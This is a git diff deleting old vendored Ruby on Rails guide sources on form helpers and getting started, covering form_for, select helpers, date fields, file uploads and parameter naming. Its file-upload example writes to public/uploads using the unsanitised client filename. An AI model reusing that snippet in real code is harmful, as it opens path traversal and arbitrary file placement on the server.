-h4. Model Object Helpers
-
-A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+.
-
-For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
-
-<erb>
-<%= text_field(:person, :name) %>
-</erb>
-
-will produce output similar to
-
-<erb>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</erb>
-
-Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
-
-WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"person"+, not an actual instance of your model object.
-
-Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide.
-
-h4. Binding a Form to an Object
-
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does.
-
-Assume we have a controller for dealing with articles:
-
-articles_controller.rb:
-
-<ruby>
-def new
-  @article = Article.new
-end
-</ruby>
-
-The corresponding view using +form_for+ looks like this
-
-articles/new.html.erb:
-
-<erb>
-<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
-  <%= f.text_field :title %>
-  <%= f.text_area :body, :size => "60x12" %>
-  <%= submit_tag "Create" %>
-<% end %>
-</erb>
-
-There are a few things to note here:
-
-# +:article+ is the name of the model and +@article+ is the actual object being edited.
-# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash.
-# The +form_for+ method yields a *form builder* object (the +f+ variable).
-# Methods to create form controls are called *on* the form builder object +f+
-
-The resulting HTML is:
-
-<html>
-<form action="/articles/create" method="post" class="nifty_form">
-  <input id="article_title" name="article[title]" size="30" type="text" />
-  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
-  <input name="commit" type="submit" value="Create" />
-</form>
-</html>
-
-The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
-
-The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
-
-You can create a similar binding without actually creating  +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
-
-<erb>
-<% form_for :person, @person, :url => { :action => "create" } do |person_form| %>
-  <%= person_form.text_field :name %>
-  <% fields_for @person.contact_detail do |contact_details_form| %>
-    <%= contact_details_form.text_field :phone_number %>
-  <% end %>
-<% end %>
-</erb>
-
-which produces the following output:
-
-<html>
-<form action="/people/create" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
-</form>
-</html>
-
-The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
-
-h4. Relying on Record Identification
-
-The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
-
-When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-
-<ruby>
-## Creating a new article
-# long-style:
-form_for(:article, @article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url => article_path(@article), :method => "put")
-# short-style:
-form_for(@article)
-</ruby>
-
-Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
-
-Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
-
-WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
-
-h5. Dealing with Namespaces
-
-If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
-
-<ruby>
-form_for [:admin, @article]
-</ruby>
-
-will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
-
-<ruby>
-form_for [:admin, :management, @article]
-</ruby>
-
-For more information on Rails' routing system and the associated conventions, please see the "routing guide":./routing_outside_in.html.
-
-
-h4. How do forms with PUT or DELETE methods work?
-
-The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
-
-Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
-
-<ruby>
-form_tag(search_path, :method => "put")
-</ruby>
-
-output:
-
-<html>
-<form action="/search" method="post">
-  <div style="margin:0;padding:0">
-    <input name="_method" type="hidden" value="put" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  ...
-</html>
-
-When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
-
-
-h3. Making Select Boxes with Ease
-
-Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
-
-Here is what the markup might look like:
-
-<html>
-<select name="city_id" id="city_id">
-  <option value="1">Lisbon</option>
-  <option value="2">Madrid</option>
-  ...
-  <option value="12">Berlin</option>
-</select>
-</html>
-
-Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
-
-h4. The Select and Option Tags
-
-The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
-
-<erb>
-<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-</erb>
-
-This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2">Madrid</option>
-...
-</erb>
-
-The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
-
-Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
-
-<erb>
-<%= select_tag(:city_id, options_for_select(...)) %>
-</erb>
-
-+options_for_select+ allows you to pre-select an option by passing its value.
-
-<erb>
-<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-</erb>
-
-Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
-
-TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
-
-h4. Select Boxes for Dealing with Models
-
-In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
-
-<ruby>
-# controller:
-@person = Person.new(:city_id => 2)
-</ruby>
-
-<erb>
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-</erb>
-
-Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
-
-As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
-
-<erb>
-# select on a form builder
-<%= f.select(:city_id, ...) %>
-</erb>
-
-WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself.  If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <pre> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </pre> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes.  You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
-
-h4. Option Tags from a Collection of Arbitrary Objects
-
-Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-
-<erb>
-<% cities_array = City.all.map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
-</erb>
-
-This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
-
-<erb>
-<%= options_from_collection_for_select(City.all, :id, :name) %>
-</erb>
-
-As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
-
-<erb>
-<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-</erb>
-
-To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
-
-NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
-
-h4. Time Zone and Country Select
-
-To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
-
-<erb>
-<%= time_zone_select(:person, :time_zone) %>
-</erb>
-
-There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
-
-Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":http://github.com/rails/country_select/tree/master. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails).
-
-h3. Using Date and Time Form Helpers
-
-The date and time helpers differ from all the other form helpers in two important respects:
-
-# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
-# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
-
-Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
-
-h4. Barebones Helpers
-
-The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-
-<erb>
-<%= select_date Date.today, :prefix => :start_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
-</html>
-
-The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
-
-<ruby>
-Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-</ruby>
-
-The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
-
-h4. Model Object Helpers
-
-+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
-The model object helpers for dates and times submit parameters with special names,  when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
-
-<erb>
-<%= date_select :person, :birth_date %>
-</erb>
-
-outputs (with actual option values omitted for brevity)
-
-<html>
-<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-</html>
-
-which results in a +params+ hash like
-
-<ruby>
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-</ruby>
-
-When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
-
-h4. Common Options
-
-Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
-
-As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
-
-NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
-h4. Individual Components
-
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the  +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
-
-The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
-
-<erb>
-<%= select_year(2009) %>
-<%= select_year(Time.now) %>
-</erb>
-
-will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
-
-h3. Uploading Files
-
-A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing +:multi_part => true+ as an HTML option. This means that in the case of +form_tag+ it must be passed in the second options hash and in the case of +form_for+ inside the +:html+ hash.
-
-The following two forms both upload a file.
-
-<erb>
-<% form_tag({:action => :upload}, :multipart => true) do %>
-  <%= file_field_tag 'picture' %>
-<% end %>
-
-<% form_for @person, :html => {:multipart => true} do |f| %>
-  <%= f.file_field :picture %>
-<% end %>
-</erb>
-
-Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
-
-h4. What Gets Uploaded
-
-The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
-
-<ruby>
-def upload
-  uploaded_io = params[:person][:picture]
-  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
-    file.write(uploaded_io.read)
-  end
-end
-</ruby>
-
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":http://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
-
-NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
-
-h4. Dealing with Ajax
-
-Unlike other forms making an asynchronous file upload form is not as simple as replacing +form_for+ with +remote_form_for+. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
-
-h3. Customising Form Builders
-
-As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-
-<erb>
-<% form_for @person do |f| %>
-  <%= text_field_with_label f, :first_name %>
-<% end %>
-</erb>
-
-can be replaced with
-
-<erb>
-<% form_for @person, :builder => LabellingFormBuilder do |f| %>
-  <%= f.text_field :first_name %>
-<% end %>
-</erb>
-
-by defining a LabellingFormBuilder class similar to the following:
-
-<ruby>
-class LabellingFormBuilder < ActionView::Helpers::FormBuilder
-  def text_field(attribute, options={})
-    label(attribute) + super
-  end
-end
-</ruby>
-
-If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
-
-The form builder used also determines what happens when you do
-
-<erb>
-<%= render :partial => f %>
-</erb>
-
-If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
-
-h3. Understanding Parameter Naming Conventions
-
-As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
-action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
-
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
-
-TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example <pre> ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </pre>
-
-h4. Basic Structures
-
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
-
-<html>
-<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</html>
-
-the +params+ hash will contain
-
-<erb>
-{'person' => {'name' => 'Henry'}}
-</erb>
-
-and +params["name"]+ will retrieve the submitted value in the controller.
-
-Hashes can be nested as many levels as required, for example
-
-<html>
-<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-</html>
-
-will result in the +params+ hash being
-
-<ruby>
-{'person' => {'address' => {'city' => 'New York'}}}
-</ruby>
-
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
-
-<html>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-</html>
-
-This would result in +params[:person][:phone_number]+ being an array.
-
-h4. Combining Them
-
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
-
-<html>
-<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
-</html>
-
-This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
-
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
-
-WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
-
-h4. Using Form Helpers
-
-The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
-
-You might want to render a form with a set of edit fields for each of a person's addresses. For example:
-
-<erb>
-<% form_for @person do |person_form| %>
-  <%= person_form.text_field :name %>
-  <% for address in @person.addresses %>
-    <% person_form.fields_for address, :index => address do |address_form|%>
-      <%= address_form.text_field :city %>
-    <% end %>
-  <% end %>
-<% end %>
-</erb>
-
-Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
-
-<html>
-<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
-  <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
-</form>
-</html>
-
-This will result in a +params+ hash that looks like
-
-<ruby>
-{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-</ruby>
-
-Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
-
-To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
-
-<erb>
-<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-will create inputs like
-
-<html>
-<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
-</html>
-
-As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
-
-As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifing +:index => address+ so
-
-<erb>
-<% fields_for 'person[address][primary][]', address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-</erb>
-
-produces exactly the same output as the previous example.
-
-h3. Building Complex Forms
-
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
-
-* Ryan Bates' series of railscasts on "complex forms":http://railscasts.com/episodes/75
-* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
-* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
-* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
-* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1
-
-h3. Authors
-
-* Mislav Marohnić <mislav.marohnic@gmail.com>
-* "Frederick Cheung":credits.html#fcheung
diff --git a/vendor/rails/railties/guides/source/getting_started.textile b/vendor/rails/railties/guides/source/getting_started.textile
deleted file mode 100644
index 6a19b04e..00000000
--- a/vendor/rails/railties/guides/source/getting_started.textile
+++ /dev/null
@@ -1,1297 +0,0 @@
-h2. Getting Started with Rails
-
-This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
-
-* Installing Rails, creating a new Rails application, and connecting your application to a database
-* The general layout of a Rails application
-* The basic principles of MVC (Model, View Controller) and RESTful design
-* How to quickly generate the starting pieces of a Rails application.
-
-endprologue.
-
-WARNING. This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
-
-h3. This Guide Assumes
-
-This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
-
-* The "Ruby":http://www.ruby-lang.org/en/downloads language
-* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
-* A working installation of "SQLite":http://www.sqlite.org (preferred), "MySQL":http://www.mysql.com, or "PostgreSQL":http://www.postgresql.org
-
-It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
-
-* "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com
-* "Programming Ruby":http://www.rubycentral.com/book
-* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby/
-
-h3. What is Rails?
-
-Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
-
-Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
-
-The Rails philosophy includes several guiding principles:
-
-* DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files.
-* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
-
-h4. The MVC Architecture
-
-Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
-
-* Isolation of business logic from the user interface
-* Ease of keeping code DRY
-* Making it clear where different types of code belong for easier maintenance
-
-h5. Models
-
-A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models.
-
-h5. Views
-
-Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
-
-h5. Controllers
-
-Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
-
-h4. The Components of Rails
-
-Rails provides a full stack of components for creating web applications, including:
-
-* Action Controller
-* Action View
-* Active Record
-* Action Mailer
-* Active Resource
-* Railties
-* Active Support
-
-h5. Action Controller
-
-Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
-
-h5. Action View
-
-Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
-
-h5. Active Record
-
-Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
-
-h5. Action Mailer
-
-Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
-
-h5. Active Resource
-
-Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
-
-h5. Railties
-
-Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
-
-h5. Active Support
-
-Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
-
-h4. REST
-
-The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
-
-* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components.
-
-For example, to a Rails application a request such as this:
-
-<tt>DELETE /photos/17</tt>
-
-would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks.
-
-If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
-
-* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
-* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
-* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
-* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson
-
-h3. Creating a New Rails Project
-
